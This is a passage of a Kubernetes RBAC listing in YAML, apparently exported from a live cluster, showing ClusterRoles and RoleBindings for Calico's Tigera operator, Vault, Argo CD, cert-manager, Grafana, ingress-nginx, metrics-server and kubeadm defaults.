    - stagedkubernetesnetworkpolicies.crd.projectcalico.org
    - networksets.crd.projectcalico.org
    - tiers.crd.projectcalico.org
    - whiskers.operator.tigera.io
    - goldmanes.operator.tigera.io
    - managementclusterconnections.operator.tigera.io
    resources:
    - customresourcedefinitions
    verbs:
    - update
  - apiGroups:
    - apiextensions.k8s.io
    resourceNames:
    - adminnetworkpolicies.policy.networking.k8s.io
    - baselineadminnetworkpolicies.policy.networking.k8s.io
    resources:
    - customresourcedefinitions
    verbs:
    - update
    - delete
  - apiGroups:
    - ""
    resources:
    - namespaces
    - pods
    - podtemplates
    - services
    - endpoints
    - events
    - configmaps
    - serviceaccounts
    verbs:
    - create
    - get
    - list
    - update
    - delete
    - watch
  - apiGroups:
    - ""
    resources:
    - resourcequotas
    - secrets
    verbs:
    - list
    - get
    - watch
  - apiGroups:
    - ""
    resourceNames:
    - calico-critical-pods
    - tigera-critical-pods
    resources:
    - resourcequotas
    verbs:
    - create
    - get
    - list
    - update
    - delete
    - watch
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
    - patch
    - list
    - watch
  - apiGroups:
    - authentication.k8s.io
    resources:
    - tokenreviews
    verbs:
    - create
  - apiGroups:
    - rbac.authorization.k8s.io
    resources:
    - clusterroles
    - clusterrolebindings
    - rolebindings
    - roles
    verbs:
    - create
    - get
    - list
    - update
    - delete
    - watch
    - bind
    - escalate
  - apiGroups:
    - apps
    resources:
    - deployments
    - daemonsets
    - statefulsets
    verbs:
    - create
    - get
    - list
    - patch
    - update
    - delete
    - watch
  - apiGroups:
    - apps
    resourceNames:
    - tigera-operator
    resources:
    - deployments/finalizers
    verbs:
    - update
  - apiGroups:
    - operator.tigera.io
    resources:
    - apiservers
    - apiservers/finalizers
    - apiservers/status
    - gatewayapis
    - gatewayapis/finalizers
    - gatewayapis/status
    - goldmanes
    - goldmanes/finalizers
    - goldmanes/status
    - imagesets
    - installations
    - installations/finalizers
    - installations/status
    - managementclusterconnections
    - managementclusterconnections/finalizers
    - managementclusterconnections/status
    - tigerastatuses
    - tigerastatuses/status
    - tigerastatuses/finalizers
    - whiskers
    - whiskers/finalizers
    - whiskers/status
    verbs:
    - get
    - list
    - update
    - patch
    - watch
  - apiGroups:
    - operator.tigera.io
    resources:
    - tigerastatuses
    verbs:
    - create
    - delete
  - apiGroups:
    - operator.tigera.io
    resources:
    - installations
    - apiservers
    - whiskers
    - goldmanes
    verbs:
    - delete
  - apiGroups:
    - networking.k8s.io
    resources:
    - networkpolicies
    verbs:
    - create
    - update
    - delete
    - get
    - list
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - felixconfigurations
    - ippools
    verbs:
    - create
    - patch
    - list
    - get
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - kubecontrollersconfigurations
    - bgpconfigurations
    - clusterinformations
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - projectcalico.org
    resources:
    - ippools
    verbs:
    - create
    - update
    - delete
    - patch
    - get
    - list
    - watch
  - apiGroups:
    - projectcalico.org
    resources:
    - ipamconfigurations
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - scheduling.k8s.io
    resources:
    - priorityclasses
    verbs:
    - create
    - get
    - list
    - update
    - delete
    - watch
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    verbs:
    - create
    - get
    - list
    - update
    - delete
    - watch
  - apiGroups:
    - apiregistration.k8s.io
    resources:
    - apiservices
    verbs:
    - list
    - watch
    - create
    - update
  - apiGroups:
    - admissionregistration.k8s.io
    resources:
    - mutatingwebhookconfigurations
    verbs:
    - delete
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
    - get
    - list
    - update
    - delete
    - watch
  - apiGroups:
    - storage.k8s.io
    resources:
    - csidrivers
    verbs:
    - list
    - watch
    - update
    - get
    - create
    - delete
  - apiGroups:
    - certificates.k8s.io
    resources:
    - certificatesigningrequests
    verbs:
    - list
    - watch
  - apiGroups:
    - policy
    resourceNames:
    - tigera-operator
    resources:
    - podsecuritypolicies
    verbs:
    - use
  - apiGroups:
    - policy
    resources:
    - podsecuritypolicies
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - delete
  - apiGroups:
    - projectcalico.org
    resourceNames:
    - allow-tigera.*
    resources:
    - tier.networkpolicies
    - tier.globalnetworkpolicies
    verbs:
    - list
    - watch
    - get
    - create
    - update
    - delete
  - apiGroups:
    - projectcalico.org
    resourceNames:
    - allow-tigera
    resources:
    - tiers
    verbs:
    - get
    - delete
    - update
  - apiGroups:
    - projectcalico.org
    resources:
    - tiers
    verbs:
    - create
    - list
    - watch
  - apiGroups:
    - apiextensions.k8s.io
    resourceNames:
    - backendlbpolicies.gateway.networking.k8s.io
    - backendtlspolicies.gateway.networking.k8s.io
    - gatewayclasses.gateway.networking.k8s.io
    - gateways.gateway.networking.k8s.io
    - grpcroutes.gateway.networking.k8s.io
    - httproutes.gateway.networking.k8s.io
    - referencegrants.gateway.networking.k8s.io
    - tcproutes.gateway.networking.k8s.io
    - tlsroutes.gateway.networking.k8s.io
    - udproutes.gateway.networking.k8s.io
    - backends.gateway.envoyproxy.io
    - backendtrafficpolicies.gateway.envoyproxy.io
    - clienttrafficpolicies.gateway.envoyproxy.io
    - envoyextensionpolicies.gateway.envoyproxy.io
    - envoypatchpolicies.gateway.envoyproxy.io
    - envoyproxies.gateway.envoyproxy.io
    - httproutefilters.gateway.envoyproxy.io
    - securitypolicies.gateway.envoyproxy.io
    resources:
    - customresourcedefinitions
    verbs:
    - update
  - apiGroups:
    - gateway.networking.k8s.io
    resources:
    - gatewayclasses
    verbs:
    - create
    - update
    - delete
    - list
    - get
    - watch
  - apiGroups:
    - gateway.envoyproxy.io
    resources:
    - envoyproxies
    verbs:
    - create
    - update
    - delete
    - list
    - get
    - watch
  - apiGroups:
    - batch
    resources:
    - jobs
    verbs:
    - create
    - list
    - watch
  - apiGroups:
    - batch
    resourceNames:
    - tigera-gateway-api-gateway-helm-certgen
    resources:
    - jobs
    verbs:
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    creationTimestamp: "2025-10-19T16:11:25Z"
    labels:
      k8s-app: tigera-operator
    name: tigera-operator-secrets
    resourceVersion: "6820845"
    uid: 951f1f38-e969-442c-b145-7f084f8bf177
  rules:
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - create
    - update
    - delete
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault-agent-injector
    name: vault-agent-injector-clusterrole
    resourceVersion: "265867"
    uid: a3f092a4-ec3d-4362-9d7b-12258b65487d
  rules:
  - apiGroups:
    - admissionregistration.k8s.io
    resources:
    - mutatingwebhookconfigurations
    verbs:
    - get
    - list
    - watch
    - patch
- aggregationRule:
    clusterRoleSelectors:
    - matchLabels:
        rbac.authorization.k8s.io/aggregate-to-view: "true"
  apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
      rbac.authorization.k8s.io/aggregate-to-edit: "true"
    name: view
    resourceVersion: "437031"
    uid: 54f8c569-ef06-4ffe-b8ad-8a067046b756
  rules:
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    - certificaterequests
    - issuers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - challenges
    - orders
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - elasticsearch.k8s.elastic.co
    resources:
    - elasticsearches
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - autoscaling.k8s.elastic.co
    resources:
    - elasticsearchautoscalers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apm.k8s.elastic.co
    resources:
    - apmservers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - kibana.k8s.elastic.co
    resources:
    - kibanas
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - enterprisesearch.k8s.elastic.co
    resources:
    - enterprisesearches
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - beat.k8s.elastic.co
    resources:
    - beats
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - agent.k8s.elastic.co
    resources:
    - agents
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - maps.k8s.elastic.co
    resources:
    - elasticmapsservers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - stackconfigpolicy.k8s.elastic.co
    resources:
    - stackconfigpolicies
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - logstash.k8s.elastic.co
    resources:
    - logstashes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - configmaps
    - endpoints
    - persistentvolumeclaims
    - persistentvolumeclaims/status
    - pods
    - replicationcontrollers
    - replicationcontrollers/scale
    - serviceaccounts
    - services
    - services/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - bindings
    - events
    - limitranges
    - namespaces/status
    - pods/log
    - pods/status
    - replicationcontrollers/status
    - resourcequotas
    - resourcequotas/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - namespaces
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apps
    resources:
    - controllerrevisions
    - daemonsets
    - daemonsets/status
    - deployments
    - deployments/scale
    - deployments/status
    - replicasets
    - replicasets/scale
    - replicasets/status
    - statefulsets
    - statefulsets/scale
    - statefulsets/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - autoscaling
    resources:
    - horizontalpodautoscalers
    - horizontalpodautoscalers/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - batch
    resources:
    - cronjobs
    - cronjobs/status
    - jobs
    - jobs/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - extensions
    resources:
    - daemonsets
    - daemonsets/status
    - deployments
    - deployments/scale
    - deployments/status
    - ingresses
    - ingresses/status
    - networkpolicies
    - replicasets
    - replicasets/scale
    - replicasets/status
    - replicationcontrollers/scale
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - policy
    resources:
    - poddisruptionbudgets
    - poddisruptionbudgets/status
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    - ingresses/status
    - networkpolicies
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - metrics.k8s.io
    resources:
    - pods
    - nodes
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: application-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-application-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-application-controller
    namespace: argocd
    resourceVersion: "74984"
    uid: e8f4c720-0661-4c81-87bf-4fe75a5651a6
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: argocd-application-controller
  subjects:
  - kind: ServiceAccount
    name: argocd-application-controller
    namespace: argocd
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: applicationset-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-applicationset-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-applicationset-controller
    namespace: argocd
    resourceVersion: "74982"
    uid: 7b0b386c-f265-4fc4-9f00-381c4640eceb
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: argocd-applicationset-controller
  subjects:
  - kind: ServiceAccount
    name: argocd-applicationset-controller
    namespace: argocd
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: dex-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-dex-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-dex-server
    namespace: argocd
    resourceVersion: "74985"
    uid: f605180e-4621-4af8-8293-e1250835a1ac
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: argocd-dex-server
  subjects:
  - kind: ServiceAccount
    name: argocd-dex-server
    namespace: argocd
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: notifications-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-notifications-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-notifications-controller
    namespace: argocd
    resourceVersion: "74981"
    uid: 8e663a66-e1e5-4f73-87c9-b918fd79c24c
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: argocd-notifications-controller
  subjects:
  - kind: ServiceAccount
    name: argocd-notifications-controller
    namespace: argocd
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      helm.sh/hook: pre-install,pre-upgrade
      helm.sh/hook-delete-policy: before-hook-creation
    creationTimestamp: "2025-09-21T20:14:40Z"
    labels:
      app.kubernetes.io/component: redis-secret-init
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-redis-secret-init
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-redis-secret-init
    namespace: argocd
    resourceVersion: "74836"
    uid: 62421747-b6f5-4def-bc99-e4930bf789f4
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: argocd-redis-secret-init
  subjects:
  - kind: ServiceAccount
    name: argocd-redis-secret-init
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: repo-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-repo-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-repo-server
    namespace: argocd
    resourceVersion: "74986"
    uid: ad5ccfcc-a47d-4088-860a-d01a0bbbaf8f
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: argocd-repo-server
  subjects:
  - kind: ServiceAccount
    name: argocd-repo-server
    namespace: argocd
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-server
    namespace: argocd
    resourceVersion: "74983"
    uid: d061628f-c58a-4fc7-a2bf-14daccfdcecd
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: argocd-server
  subjects:
  - kind: ServiceAccount
    name: argocd-server
    namespace: argocd
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"RoleBinding","metadata":{"annotations":{},"name":"customcontroller-binding","namespace":"argocd"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"Role","name":"customcontroller-role"},"subjects":[{"kind":"ServiceAccount","name":"customcontroller-sa","namespace":"argocd"}]}
    creationTimestamp: "2025-09-27T18:31:13Z"
    name: customcontroller-binding
    namespace: argocd
    resourceVersion: "1429798"
    uid: b55446e5-a2c3-4a88-82f4-d8137cce1890
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: customcontroller-role
  subjects:
  - kind: ServiceAccount
    name: customcontroller-sa
    namespace: argocd
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    creationTimestamp: "2025-10-19T16:26:41Z"
    name: goldmane
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Goldmane
      name: default
      uid: 5994cdc7-d4c2-4413-bf3b-9967cd01464d
    resourceVersion: "6825270"
    uid: 03b9f1d0-2e9b-4e21-b5e9-93f7f764980c
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: goldmane
  subjects:
  - kind: ServiceAccount
    name: goldmane
    namespace: calico-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    creationTimestamp: "2025-10-19T16:12:25Z"
    name: tigera-operator-secrets
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821074"
    uid: 8f063735-fc45-464b-bc74-45a37f565ff2
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: tigera-operator-secrets
  subjects:
  - kind: ServiceAccount
    name: tigera-operator
    namespace: tigera-operator
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-cert-manager-tokenrequest
    namespace: cert-manager
    resourceVersion: "220095"
    uid: 8362161b-24d4-4cca-88c1-c71ca00403de
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: cert-manager-tokenrequest
  subjects:
  - kind: ServiceAccount
    name: cert-manager
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-webhook:dynamic-serving
    namespace: cert-manager
    resourceVersion: "220094"
    uid: eb7ecad8-2ba4-4bb9-b52e-310513ab2aa0
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: cert-manager-webhook:dynamic-serving
  subjects:
  - kind: ServiceAccount
    name: cert-manager-webhook
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: nfs-subdir-external-provisioner
      meta.helm.sh/release-namespace: default
    creationTimestamp: "2025-09-26T00:42:52Z"
    labels:
      app: nfs-subdir-external-provisioner
      app.kubernetes.io/managed-by: Helm
      chart: nfs-subdir-external-provisioner-4.0.18
      heritage: Helm
      release: nfs-subdir-external-provisioner
    name: leader-locking-nfs-subdir-external-provisioner
    namespace: default
    resourceVersion: "977136"
    uid: 1022770a-e360-4a2a-8781-a5890f51ee94
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: leader-locking-nfs-subdir-external-provisioner
  subjects:
  - kind: ServiceAccount
    name: nfs-subdir-external-provisioner
    namespace: default
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: grafana
      meta.helm.sh/release-namespace: grafana
    creationTimestamp: "2025-09-21T20:37:13Z"
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      helm.sh/chart: grafana-10.0.0
    name: grafana
    namespace: grafana
    resourceVersion: "78697"
    uid: 72bcb9d0-6731-4407-91b7-34e9bad65b38
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: grafana
  subjects:
  - kind: ServiceAccount
    name: grafana
    namespace: grafana
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx
    namespace: ingress-nginx
    resourceVersion: "64747"
    uid: 48407cdd-af1c-476b-826c-b3e96c09c5a4
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: ingress-nginx
  subjects:
  - kind: ServiceAccount
    name: ingress-nginx
    namespace: ingress-nginx
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:19Z"
    name: kubeadm:bootstrap-signer-clusterinfo
    namespace: kube-public
    resourceVersion: "265"
    uid: 28a0bc9d-49e4-4933-af7a-34dec73e5fb4
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: kubeadm:bootstrap-signer-clusterinfo
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: User
    name: system:anonymous
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:bootstrap-signer
    namespace: kube-public
    resourceVersion: "237"
    uid: 65553d49-3b10-4b67-8f8a-b2ee8134b41e
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: system:controller:bootstrap-signer
  subjects:
  - kind: ServiceAccount
    name: bootstrap-signer
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-cainjector:leaderelection
    namespace: kube-system
    resourceVersion: "220097"
    uid: 4397e477-e341-4bba-901c-a6c0e6e7ffe0
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: cert-manager-cainjector:leaderelection
  subjects:
  - kind: ServiceAccount
    name: cert-manager-cainjector
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager:leaderelection
    namespace: kube-system
    resourceVersion: "220096"
    uid: 672e29ae-ed96-40f4-9f24-5670bb8a1b50
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: cert-manager:leaderelection
  subjects:
  - kind: ServiceAccount
    name: cert-manager
    namespace: cert-manager
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: kube-proxy
    namespace: kube-system
    resourceVersion: "303"
    uid: 11ec4cec-ea7a-4f52-a598-855866183576
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: kube-proxy
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:bootstrappers:kubeadm:default-node-token
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:kubeadm-certs
    namespace: kube-system
    resourceVersion: "255"
    uid: 62f3e208-0980-4252-a9ef-649718344405
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: kubeadm:kubeadm-certs
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:bootstrappers:kubeadm:default-node-token
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:kubelet-config
    namespace: kube-system
    resourceVersion: "250"
    uid: fd0dc831-100e-45e9-869c-28494a068b41
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: kubeadm:kubelet-config
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:nodes
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:bootstrappers:kubeadm:default-node-token
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:nodes-kubeadm-config
    namespace: kube-system
    resourceVersion: "247"
    uid: f52d07d0-c16e-4673-a989-20422a52e405
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: kubeadm:nodes-kubeadm-config
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:bootstrappers:kubeadm:default-node-token
  - apiGroup: rbac.authorization.k8s.io
    kind: Group
    name: system:nodes
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: metrics-server
      meta.helm.sh/release-namespace: metrics-server
    creationTimestamp: "2025-09-22T18:30:50Z"
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metrics-server
      app.kubernetes.io/version: 0.8.0
      helm.sh/chart: metrics-server-3.13.0
    name: metrics-server-auth-reader
    namespace: kube-system
    resourceVersion: "266992"
    uid: 8089267b-b463-4e63-9aa2-156a233b0949
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: extension-apiserver-authentication-reader
  subjects:
  - kind: ServiceAccount
    name: metrics-server
    namespace: metrics-server
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system::extension-apiserver-authentication-reader
    namespace: kube-system
    resourceVersion: "231"
    uid: 9c7a6cb3-095f-43a8-9047-b7fad5bd4100
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: extension-apiserver-authentication-reader
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: User
    name: system:kube-controller-manager
  - apiGroup: rbac.authorization.k8s.io
    kind: User
    name: system:kube-scheduler
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system::leader-locking-kube-controller-manager
    namespace: kube-system
    resourceVersion: "232"
    uid: bdbb9615-6984-49d1-b0bf-82a28e36f401
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: system::leader-locking-kube-controller-manager
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: User
    name: system:kube-controller-manager
  - kind: ServiceAccount
    name: kube-controller-manager
    namespace: kube-system
  - kind: ServiceAccount
    name: leader-election-controller
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
